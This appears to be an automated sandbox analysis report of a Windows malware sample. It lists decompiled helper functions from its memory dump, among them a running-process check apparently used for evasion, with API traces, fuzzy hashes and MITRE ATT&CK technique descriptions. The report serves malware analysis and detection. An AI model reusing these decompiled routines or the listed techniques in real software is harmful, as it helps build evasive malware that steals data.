Instruction Fuzzy Hash: 5511CA73A00315AFC711DA69EC94D9EBBFEEBC5250B090166F9059B160E770AA05D760

Uniqueness

Uniqueness Score: -1.00%

Function 03557A9A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E03557A9A(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E03556B43(_t8, _t1);
				_t16 = E03552049(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E035586D8(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E03552049(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E03559039(_t16);
				}
				return _t18;
			}

0x03557aa5
0x03557aa6
0x03557aa9
0x03557aab
0x03557ab6
0x03557aba
0x03557abf
0x03557ac3
0x03557acb
0x03557ad0
0x03557ad8
0x03557ad8
0x03557ae1
0x03557ae5
0x03557aeb
0x03557aee
0x03557af4
0x03557af4
0x03557afc
0x03557afc
0x03557b03
0x03557b03
0x03557b0e

APIs

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

Part of subcall function 035586D8: wsprintfA.USER32 ref: 03558734

lstrlen.KERNEL32(035523E9,00000000,00000000,00000027,00000005,00000000,00000000,035596DA,74666F53,00000000,035523E9,0355D00C,?,035523E9), ref: 03557AD0
lstrcpy.KERNEL32(00000000,00000000), ref: 03557AF4
lstrcat.KERNEL32(00000000,00000000), ref: 03557AFC

Strings

Soft, xrefs: 03557AA6, 03557ABF

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: b2fcf260f8291ba2f04a2359eba10e4e511841e9314678747693e073a1c5284f
Instruction ID: 22ab7aa005531e6ae0c50ace14b208f7c3b590927d0766818aaa308c938cf7c7
Opcode Fuzzy Hash: b2fcf260f8291ba2f04a2359eba10e4e511841e9314678747693e073a1c5284f
Instruction Fuzzy Hash: E901D43710031AA7CB02FAA5ECA4EAF7A68FB84255F084423FD0559030EB35AA46C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0355757F, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0355757F() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x355d27c; // 0x244a5a8
						_t2 = _t9 + 0x355ee54; // 0x73617661
						_push( &_v264);
						if( *0x355d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x0355758a
0x03557594
0x03557598
0x035575a2
0x035575d3
0x035575a9
0x035575ae
0x035575bb
0x035575c4
0x035575db
0x035575c6
0x035575ce
0x00000000
0x035575ce
0x035575dc
0x035575dd
0x00000000
0x035575dd
0x00000000
0x035575d7
0x035575e3
0x035575e8

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0355758F
Process32First.KERNEL32(00000000,?), ref: 035575A2
Process32Next.KERNEL32(00000000,?), ref: 035575CE
CloseHandle.KERNEL32(00000000), ref: 035575DD

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 2804387cec0810511feb52962bb9b275880fae0f96d9a1c873608ad2aebab1d3
Instruction ID: 5527fdad87a96f3754933867c423ad988e6eaaab15c0a461c53c942e68899b90
Opcode Fuzzy Hash: 2804387cec0810511feb52962bb9b275880fae0f96d9a1c873608ad2aebab1d3
Instruction Fuzzy Hash: ADF09C366012255BDB20FA76EC69DEB76FCEFC8211F000093FD05D6120EB24FB4A4661

Uniqueness

Uniqueness Score: -1.00%

Function 03557C61, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03557C61(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x03557c6b
0x03557c6f
0x03557c84
0x03557c88
0x03557c8b
0x03557c91
0x03557c95
0x03557c98
0x03557ca3
0x03557c9a
0x03557c9a
0x03557c9a
0x03557c98
0x03557cb1

APIs

memset.NTDLL ref: 03557C6F
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,751881D0), ref: 03557C84
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 03557C91
CloseHandle.KERNEL32(?), ref: 03557CA3

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 9bb36917884f6c24a80a71ababab023ea98c7ca74c4bab667e2b348caacf3a38
Instruction ID: 47faf2664010c03f7dfe8ca827029d95cc826e80ce3248194b76e8702b743979
Opcode Fuzzy Hash: 9bb36917884f6c24a80a71ababab023ea98c7ca74c4bab667e2b348caacf3a38
Instruction Fuzzy Hash: 13F05EB511470CBFD310AF22ECC4C2BBBACFB852D9B11892EF44281521D632B8099AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0355970F, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0355970F() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x355d26c; // 0x2e4
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x355d2b8; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x355d26c; // 0x2e4
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x355d238; // 0x55b0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x0355970f
0x03559716
0x03559760
0x03559762
0x03559762
0x0355971a
0x03559720
0x03559725
0x03559729
0x0355972f
0x03559736
0x00000000
0x00000000
0x03559738
0x0355973d
0x00000000
0x00000000
0x00000000
0x0355973d
0x0355973f
0x03559747
0x0355974a
0x0355974a
0x03559750
0x03559757
0x0355975a
0x0355975a
0x00000000

APIs

SetEvent.KERNEL32(000002E4,00000001,03558099), ref: 0355971A
SleepEx.KERNEL32(00000064,00000001), ref: 03559729
CloseHandle.KERNEL32(000002E4), ref: 0355974A
HeapDestroy.KERNEL32(055B0000), ref: 0355975A

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: c9949e59c60d041c15afdfd98f387f6042c430ea2896e1418e7b855788cf9747
Instruction ID: 8a324004973d383ada8ec0358d3ddcc1c3c5e6595e1df4dcaf2ffde196839ccc
Opcode Fuzzy Hash: c9949e59c60d041c15afdfd98f387f6042c430ea2896e1418e7b855788cf9747
Instruction Fuzzy Hash: 1EF01C367153109BE720BE75A9A8F0ABBE8BB01751B080612BC14D72B8DB28F449F650

Uniqueness

Uniqueness Score: -1.00%

Function 035575E9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E035575E9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x355d32c; // 0x59a95b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x355d32c; // 0x59a95b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x355d030) {
					HeapFree( *0x355d238, 0, _t8);
				}
				_t14[1] = E035594A9(_v0, _t14);
				_t11 =  *0x355d32c; // 0x59a95b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x035575e9
0x035575e9
0x035575f2
0x03557602
0x03557602
0x03557607
0x0355760c
0x00000000
0x00000000
0x035575fc
0x035575fc
0x0355760e
0x03557612
0x03557624
0x03557624
0x03557634
0x03557637
0x0355763c
0x03557640
0x03557646

APIs

RtlEnterCriticalSection.NTDLL(059A9570), ref: 035575F2
Sleep.KERNEL32(0000000A,?,035523DE), ref: 035575FC
HeapFree.KERNEL32(00000000,00000000,?,035523DE), ref: 03557624
RtlLeaveCriticalSection.NTDLL(059A9570), ref: 03557640

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 715d7f26208b3369099029ec66ee531a020916281fc92ebea1b2bd1a0abcf149
Instruction ID: 2f8bc601231b2d0989e03f96a9ead819aea97bb4a9eb70357aa5782d32e63bb4
Opcode Fuzzy Hash: 715d7f26208b3369099029ec66ee531a020916281fc92ebea1b2bd1a0abcf149
Instruction Fuzzy Hash: 91F0DA76601341DBD710EBA9E868E1A77F8BF18741B058406FC02D6274D730F84AEA25

Uniqueness

Uniqueness Score: -1.00%

Function 0355A5D6, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0355A5D6() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x355d32c; // 0x59a95b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x355d32c; // 0x59a95b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x355d32c; // 0x59a95b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x355e836) {
					HeapFree( *0x355d238, 0, _t10);
					_t7 =  *0x355d32c; // 0x59a95b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x0355a5d6
0x0355a5df
0x0355a5ef
0x0355a5ef
0x0355a5f4
0x0355a5f9
0x00000000
0x00000000
0x0355a5e9
0x0355a5e9
0x0355a5fb
0x0355a600
0x0355a604
0x0355a617
0x0355a61d
0x0355a61d
0x0355a626
0x0355a628
0x0355a62c
0x0355a632

APIs

RtlEnterCriticalSection.NTDLL(059A9570), ref: 0355A5DF
Sleep.KERNEL32(0000000A,?,035523DE), ref: 0355A5E9
HeapFree.KERNEL32(00000000,?,?,035523DE), ref: 0355A617
RtlLeaveCriticalSection.NTDLL(059A9570), ref: 0355A62C

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: 1bae1929f2f56a26b4f036380bc7e220928fb2cbcd759b81c529cfa14ffc55ee
Instruction ID: 4ec3afb6ae60736fc4ccbc869f01833404fcdec5612cc08b85ce326ebd375052
Opcode Fuzzy Hash: 1bae1929f2f56a26b4f036380bc7e220928fb2cbcd759b81c529cfa14ffc55ee
Instruction Fuzzy Hash: D3F0B776A003009BE715EFA4E879E1977F4EB18301B458146FC02D7278D730FC0AEA15

Uniqueness

Uniqueness Score: -1.00%

Function 03557F27, Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E03557F27(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E03552049(_t2);
				if(_t34 != 0) {
					_t30 = E03552049(_t28);
					if(_t30 == 0) {
						E03559039(_t34);
					} else {
						_t39 = _a4;
						_t22 = E0355A911(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E0355A911(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x03557f27
0x03557f31
0x03557f33
0x03557f39
0x03557f39
0x03557f42
0x03557f46
0x03557f52
0x03557f56
0x03557fca
0x03557f58
0x03557f58
0x03557f5c
0x03557f63
0x03557f66
0x03557f80
0x03557f6f
0x03557f6f
0x03557f73
0x03557f76
0x03557f7b
0x03557f7b
0x03557f85
0x03557fad
0x03557fb3
0x03557fb6
0x03557f87
0x03557f89
0x03557f91
0x03557f9c
0x03557fa1
0x03557fa1
0x03557fbd
0x03557fc4
0x03557fc5
0x03557fc5
0x03557f56
0x03557fd5

APIs

lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,035515A4,?,?,?,?,00000102,035511DA,?,?,00000000), ref: 03557F33

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

Part of subcall function 0355A911: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,03557F61,00000000,00000001,00000001,?,?,035515A4,?,?,?,?,00000102), ref: 0355A91F
Part of subcall function 0355A911: StrChrA.SHLWAPI(?,0000003F,?,?,035515A4,?,?,?,?,00000102,035511DA,?,?,00000000,00000000), ref: 0355A929

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,035515A4,?,?,?,?,00000102,035511DA,?), ref: 03557F91
lstrcpy.KERNEL32(00000000,00000000), ref: 03557FA1
lstrcpy.KERNEL32(00000000,00000000), ref: 03557FAD

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 7ea414cab1b4e358931f9c1b0cdeae462f71f705129552b1065bea33d2dfdc2f
Instruction ID: 691c6a4a8cf16f6d47bedeb46d785b317d70731a176a43bd74f6aec7e9a1c80d
Opcode Fuzzy Hash: 7ea414cab1b4e358931f9c1b0cdeae462f71f705129552b1065bea33d2dfdc2f
Instruction Fuzzy Hash: A521AE76404316EBCB02EFA5E864AAEBFF9BF49280B054056FC059F231D735E94087A0

Uniqueness

Uniqueness Score: -1.00%

Function 03557CB8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E03557CB8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E03552049(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x03557ccd
0x03557cd1
0x03557cdb
0x03557ce2
0x03557ce5
0x03557ce7
0x03557cef
0x03557cf4
0x03557d02
0x03557d07
0x03557d11

APIs

lstrlenW.KERNEL32(004F0053,75145520,?,00000008,059A937C,?,0355747C,004F0053,059A937C,?,?,?,?,?,?,03556814), ref: 03557CC8
lstrlenW.KERNEL32(0355747C,?,0355747C,004F0053,059A937C,?,?,?,?,?,?,03556814), ref: 03557CCF

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

memcpy.NTDLL(00000000,004F0053,751469A0,?,?,0355747C,004F0053,059A937C,?,?,?,?,?,?,03556814), ref: 03557CEF
memcpy.NTDLL(751469A0,0355747C,00000002,00000000,004F0053,751469A0,?,?,0355747C,004F0053,059A937C), ref: 03557D02

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 6e45260dd744899fe7c9dfd09368a1bac0cfe05324b16c46c3dcb7d57e918039
Instruction ID: e8e5181f2ee057439ae304afcfae109573f479f75b302dbc2dc6617a8c1b6ade
Opcode Fuzzy Hash: 6e45260dd744899fe7c9dfd09368a1bac0cfe05324b16c46c3dcb7d57e918039
Instruction Fuzzy Hash: C5F03C76900219FBCF11EFA9DC84CDE7BACEE492547054462BD08DB121F631EA149BA0

Uniqueness

Uniqueness Score: -1.00%

Function 03553CC8, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(059A9910,00000000,00000000,74ECC740,0355A453,00000000), ref: 03553CD8
lstrlen.KERNEL32(?), ref: 03553CE0

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

lstrcpy.KERNEL32(00000000,059A9910), ref: 03553CF4
lstrcat.KERNEL32(00000000,?), ref: 03553CFF

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 54f275092d7647c73cec7e69f8a04647da4a68cd9b96e1ca34aed562fe596e7b
Instruction ID: 7a01797fb810f8024319857342c0350a0547dc125e99d1285637d715ecb1e880
Opcode Fuzzy Hash: 54f275092d7647c73cec7e69f8a04647da4a68cd9b96e1ca34aed562fe596e7b
Instruction Fuzzy Hash: F4E01273501325A78711ABE5AC58C6FBBBDFF897517094417FA00D3134D725A80ADBE1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

